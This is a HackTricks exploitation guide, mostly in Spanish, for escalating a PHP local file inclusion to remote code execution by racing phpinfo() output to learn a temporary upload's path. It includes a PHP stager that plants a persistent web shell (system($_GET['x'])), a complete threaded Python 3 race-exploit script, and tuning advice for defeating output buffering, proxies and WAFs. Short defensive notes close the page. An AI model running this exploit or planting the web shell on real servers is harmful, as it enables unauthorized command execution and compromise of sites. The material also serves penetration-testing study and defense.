LFI to RCE via PHPInfo

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Para explotar esta técnica necesitas todo lo siguiente:

  • Una página accesible que muestre la salida de phpinfo().
  • Una Local File Inclusion (LFI) primitiva que controles (p. ej., include/require en la entrada del usuario).
  • PHP file uploads enabled (file_uploads = On). Cualquier script PHP aceptará multipart uploads RFC1867 y creará un archivo temporal por cada parte subida.
  • El worker de PHP debe poder escribir en el upload_tmp_dir configurado (o en el directorio temporal del sistema por defecto) y tu LFI debe poder incluir esa ruta.

Análisis clásico y PoC original:

  • Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
  • Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Notas sobre el PoC original

  • La salida de phpinfo() está HTML-encoded, por lo que la flecha “=>” aparece a menudo como “=>”. Si reutilizas scripts legacy, asegúrate de que busquen ambas codificaciones al parsear el valor _FILES[tmp_name].
  • Debes adaptar el payload (tu código PHP), REQ1 (la petición al endpoint phpinfo() incluyendo padding) y LFIREQ (la petición a tu sink LFI). Algunos objetivos no necesitan un null-byte (%00) terminator y las versiones modernas de PHP no lo respetarán. Ajusta el LFIREQ en consecuencia para el sink vulnerable.

Ejemplo de sed (solo si realmente usas el viejo Python2 PoC) para coincidir con la flecha HTML-encoded:

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

Teoría

  • Cuando PHP recibe un POST multipart/form-data con un campo de archivo, escribe el contenido en un archivo temporal (upload_tmp_dir o el valor por defecto del SO) y expone la ruta en $_FILES['<field>']['tmp_name']. El archivo se elimina automáticamente al final de la solicitud a menos que se mueva/renombre.
  • La técnica consiste en averiguar el nombre temporal e incluirlo vía tu LFI antes de que PHP lo limpie. phpinfo() imprime $_FILES, incluyendo tmp_name.
  • Inflando los headers/parameters de la solicitud (padding) puedes provocar que fragmentos tempranos de la salida de phpinfo() se envíen al cliente antes de que la solicitud termine, de modo que puedas leer tmp_name mientras el archivo temporal aún existe y luego llamar inmediatamente al LFI con esa ruta.

En Windows los archivos temporales suelen estar en algo como C:\Windows\Temp\php*.tmp. En Linux/Unix normalmente están en /tmp o en el directorio configurado en upload_tmp_dir.

Qué verificar en phpinfo() antes de la carrera

Antes de enviar miles de solicitudes, extrae los valores que determinan si la carrera es realista:

  • file_uploads: debe estar On.
  • upload_tmp_dir: si está definido, este es el directorio que tu LFI debe poder incluir. Si está vacío, espera el directorio temporal por defecto del sistema.
  • open_basedir: si está habilitado, la ruta vulnerable de include aún necesita poder alcanzar el directorio temporal mostrado en tmp_name.
  • output_buffering: 4096 es un tamaño común/por defecto y es por eso que muchos PoCs leen en fragmentos de 4KB, pero este valor puede variar.
  • zlib.output_compression, output_handler, y cualquier buffering a nivel de framework: reducen la probabilidad de ver tmp_name lo suficientemente pronto.
  • Server API: útil para decidir cuánto almacenamiento en búfer puede existir entre PHP y tú (apache2handler suele ser más fácil de razonar que fpm-fcgi detrás de un reverse proxy).

Si la página no muestra $_FILES, asegúrate de que realmente estás enviando una solicitud multipart/form-data con una parte de archivo real. PHP solo popula tmp_name para los campos de subida que fueron parseados.

Flujo de ataque (paso a paso)

  1. Prepara una payload PHP pequeña que persista una shell rápidamente para evitar perder la carrera (escribir un archivo suele ser más rápido que esperar un reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. Envía un POST multipart grande directamente a la página phpinfo() para que se cree un archivo temporal que contenga tu payload. Infla varios headers/cookies/params con ~5–10KB de padding para fomentar una salida temprana. Asegúrate de que el nombre del campo del formulario coincida con lo que vas a parsear en $_FILES.

  2. Mientras la respuesta de phpinfo() aún se está transmitiendo, parsea el cuerpo parcial para extraer $_FILES[‘’][‘tmp_name’] (codificado en HTML). En cuanto tengas la ruta absoluta completa (p. ej., /tmp/php3Fz9aB), lanza tu LFI para incluir esa ruta. Si include() ejecuta el archivo temporal antes de que se borre, tu payload se ejecuta y deja /tmp/.p.php.

  3. Usa el archivo dejado: GET /vuln.php?include=/tmp/.p.php&x=id (o donde sea que tu LFI te permita incluirlo) para ejecutar comandos de forma fiable.

Consejos

  • Usa múltiples workers concurrentes para aumentar tus probabilidades de ganar la carrera.
  • Colocación del padding que suele ayudar: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Ajusta según el objetivo.
  • Si el vulnerable sink añade una extensión (p. ej., .php), no necesitas un null byte; include() ejecutará PHP independientemente de la extensión del archivo temporal.

Minimal Python 3 PoC (socket-based)

El fragmento a continuación se centra en las partes críticas y es más fácil de adaptar que el script legacy en Python2. Personaliza HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.

#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok

if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]

Troubleshooting

  • You never see tmp_name: Asegúrate de realmente hacer POST multipart/form-data a phpinfo(). phpinfo() imprime $_FILES solo cuando estuvo presente un campo de upload.
  • tmp_name aparece solo al final de la respuesta: Esto suele ser un problema de buffering, no de versión de PHP. Valores grandes de output_buffering, zlib.output_compression, manejadores de salida en userland, o buffering en reverse-proxy/FastCGI pueden retrasar el body de phpinfo() hasta que la petición de upload esté casi terminada.
  • Solo obtienes streaming fiable en un laboratorio, no a través del sitio real: Un CDN, WAF o reverse proxy puede estar haciendo buffering de la respuesta upstream. Si tienes múltiples rutas al mismo app, prefiere la ruta de origen más directa.
  • La lógica clásica del offset de 4096 bytes falla en detectar el leak: Trata 4096 como un punto de partida derivado de valores por defecto comunes de output_buffering, no como una constante universal. Parse incrementalmente y detente en cuanto tmp_name esté completo.
  • El temp file se incluye pero tu shell muere inmediatamente: Usa un stager pequeño que escriba un segundo archivo, porque el temp file subido seguirá siendo eliminado cuando la petición original termine.
  • La salida no se vacía temprano: Aumenta padding, añade más headers grandes, o envía múltiples peticiones concurrentes. Algunos SAPIs/buffers no vaciarán hasta umbrales mayores; ajusta en consecuencia.
  • Ruta LFI bloqueada por open_basedir o chroot: Debes apuntar el LFI a una ruta permitida o cambiar a otro vector LFI2RCE.
  • El directorio temporal no es /tmp: phpinfo() imprime la ruta absoluta completa de tmp_name; usa esa ruta exacta en el LFI.

Practical notes for modern stacks

  • Esta técnica sigue siendo reproducible en entornos de laboratorio modernos; por ejemplo, Vulhub mantiene un demostrador en PHP 7.2. En la práctica, el éxito suele depender más del output buffering y del proxying que de un parche específico de phpinfo().
  • flush() y implicit_flush solo influyen en la capa de salida propia de PHP. No garantizan que un gateway FastCGI, reverse proxy, navegador o intermediario libere chunks parciales inmediatamente.
  • Si el objetivo es fpm-fcgi detrás de proxying Nginx/Apache, piensa por capas: buffer de PHP, manejadores/compresión de salida de PHP, buffering de FastCGI, luego buffering del proxy. La carrera solo funciona si suficiente parte de la respuesta de phpinfo() escapa esa cadena antes de que el shutdown de la request elimine el temp file.

Defensive notes

  • Nunca expongas phpinfo() en producción. Si es necesario, restríngelo por IP/auth y elimínalo después de usarlo.
  • Mantén file_uploads deshabilitado si no es requerido. Si no, restringe upload_tmp_dir a una ruta no alcanzable por include() en la aplicación y aplica validación estricta sobre cualquier ruta de include/require.
  • Trata cualquier LFI como crítico; incluso sin phpinfo(), existen otros caminos LFI→RCE.

LFI2RCE Via temp file uploads

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

LFI2RCE via Nginx temp files

LFI2RCE via Eternal waiting

References

  • LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
  • PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
  • PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
  • Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks